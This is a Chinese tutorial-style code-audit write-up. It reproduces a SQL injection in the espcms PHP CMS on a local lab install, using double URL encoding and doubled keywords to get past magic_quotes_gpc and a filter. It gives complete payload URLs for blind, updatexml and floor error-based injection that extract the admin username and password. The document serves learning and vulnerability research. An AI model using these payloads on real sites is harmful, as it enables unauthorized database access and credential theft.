现在的php程序大多都会进行参数过滤,如urldecode或者rawurldecode函数,导致二次解码生成单引号而引发注入。
假设目标程序开启了GPC,即magic_quotes_gpc=on,能实现addslshes()和stripslashes()这两个函数的功能。在PHP4.0及以上的版本中,该选项默认情况下是开启的,所以在PHP4.0及以上的版本中,就算PHP程序中的参数没有进行过滤,PHP系统也会对每一个通过GET、POST、COOKIE方式传递的变量自动转换,换句话说,输入的注入攻击代码将会全部被转换,将给攻击者带来非常大的困难。所以攻击者要想法绕过GPC,包括利用程序代码本身的缺陷漏洞绕过。
我们知道,如果提交参数到Webserver,Webserver会自动解码一次。现在我们提交/1.php?id=l%2527,因为提交的参数里面没有单引号,所以第一次解码后的结果是id=1%27,%25解码为%。
如果程序里使用urldecode或者rawurldecode函数来解码id参数,解码后得到 id=1',假如程序直接将其代入数据库操作,就会出现单引号引发注入。
例子我们想用目前流行的中小心企业网站搭建和管理php平台espcms,原来由Seay大神2013年发现,不过现在网上能够找到的5代以上版本,都已经修补了这个漏洞。要复现就必须强行修改为原本相关文件漏洞代码,作为学习验证用。
代码审计
打开Seay源代码审计系统,点击“新建”,打开espcms目录,再点:自动审计->开始:
Seay主要是根据关键字回溯,正则匹配发现漏洞。在安装路径/espcms/interface/search.php文件的in_taglist()函数(可见interface/3gwap_search.php中同样存在)发现存在sql注入漏洞。
$tagkey变量由accept引入。定位accept函数:
function accept($k, $var = 'R', $ectype = 'bu') { switch ($var) { case 'G': $var = &$_GET; break; case 'P': $var = &$_POST; break; case 'C': $var = &$_COOKIE; break; case 'R': $var = &$_REQUEST; break; } $vluer = $var[$k]; return isset($vluer) ? daddslashes($vluer, 1) : NULL; }
可见传递的是$_REQUEST['tagkey']输入的值。由于$tagkey变量进行了urldecode解码,即进行了二次解码,可绕过GPC与安全狗等,它们只见到浏览器url常规解码的结果,如果没有发现如单引号类“违法”数据,就放过了。但如我们输入1%2527的时候,常规浏览器url解码为1%27,可以通过GPC,但经过后台文件中urldecode二次解码,就变成了1',单引号被写入,可能引发注入漏洞。
再看对$tagkey输入值的过滤Inputcodetrim()函数:
发现Inputcodetrim()函数只是过滤掉相应的敏感字,没有过滤单引号,于是我们可考虑双写如from写成frfromom绕过,使得$tagkey被带入SQL语句,直接代入数据库,导致产生漏洞。
因为$tagkey通过get方式传入,就要考虑漏洞触发页面的url参数构成。
易见in_taglist()函数在类mainpage下,知道要触发漏洞就要调用该函数,首先要实例化该mainpage类。先追踪下mainpage,全局搜索,发现有/index.php文件:
在/index.php文件下找到mainpage类实例化,即在首页index.php触发漏洞。
如何构造触发payload呢?在url构造可控的$_GET方式输入参数。/index.php文件有两个可控变量$action和$archive:
定位indexget函数
该函数的$k,$var,$k对应输入ac与at,$var对应 R。即可由$_GET['ac'或'at']的'ac'或'at'参数值得到变量。
$archive为被包含执行的文件名,$action用来指明该文件中调用的函数名,$mainlist->in_$action()调用该函数。
我们通过现在可知/index.php页面是通过ac传参定位相应文件,调用其中at函数,若ac=search,at=taglist,则到search.php调用函数in_taglist(),再通过$tagkey变量传参,触发sql注入漏洞。因此我们就可能构造了exp:
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527
发现界面发生了变化,不能连接数据库:
但是却不能显示具体报错内容,也就是说,不能进行报错注入。
如果在二次解码单引号%2527后面,加上 ",tags)#"闭合并注释
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags)#,
依然不行。
这时我想,能否将进行二次urlencode编码再作为payload呢?
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523
页面变为
果然有用!但V5以后版本,不能显示报错信息,因此不能用报错方法注入,只能用布尔盲注了。
猜解数据库长度:
payload为
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) #
did>1是第二个sql语句的要求。将之直接用着url,发现没有反应,所以tagkey=1%2527后要进行二次编码
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b1%253d(seselectlect%2blength(username)%2bfrfromom%2bespcms_admin_member%2blimit%2b1)%2523
当length(username)=5,页面正常,即用户名admin长度为5,盲注成功。
猜解用户名
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)#
二次编码
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523
页面正常,因此username第1位即a.
同样可得2,3,4,5位分别为d,m,i,n,成功获取username为admin.
报错注入版本
我进一步思考espcms有没有显示报错信息的版本呢?为了学习,我下载了更早的v4.3版本,据说该版本还有很多人还在用。我将之命名为espcms2,测试结果证明,其有着报错信息,可以报错注入。
因此可使用报错函数updatexml同样二次编码后构造payload.
查看数据库名和用户名exp:
查看该数据库下表名:
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2btable_name%2bfrfromom%2binformation_schema.tables%2bwhwhereere%2btable_schema%253ddatabase()%2blimit%2b0%252c1))%252c0)%2b%2523
查看该表的字段:
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2bcolumn_name%2bfrfromom%2binformation_schema.columns%2bwhwhereere%2btable_schema%253ddatabase()%2band%2btable_name%253d%2527esp_admin_member%2527%2blimit%2b0%252c1))%252c0)%2b%2523
字段名有id,username,password
查看字段名内容:
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2bgroup_conconcatcat(id%252c0x3a%252cusername%252c0x3a%252cpassword)%2bfrfromom%2besp_admin_member%2blimit%2b0%252c1))%252c0)%2b%2523
我发现,如果用floor报错,则不用二次编码,也能得到报错信息。
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,password)) from espcms_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
以上是我学习代码审计的一次详细记录,包含许多自己独特的见解,希望对其他同学有参考价值。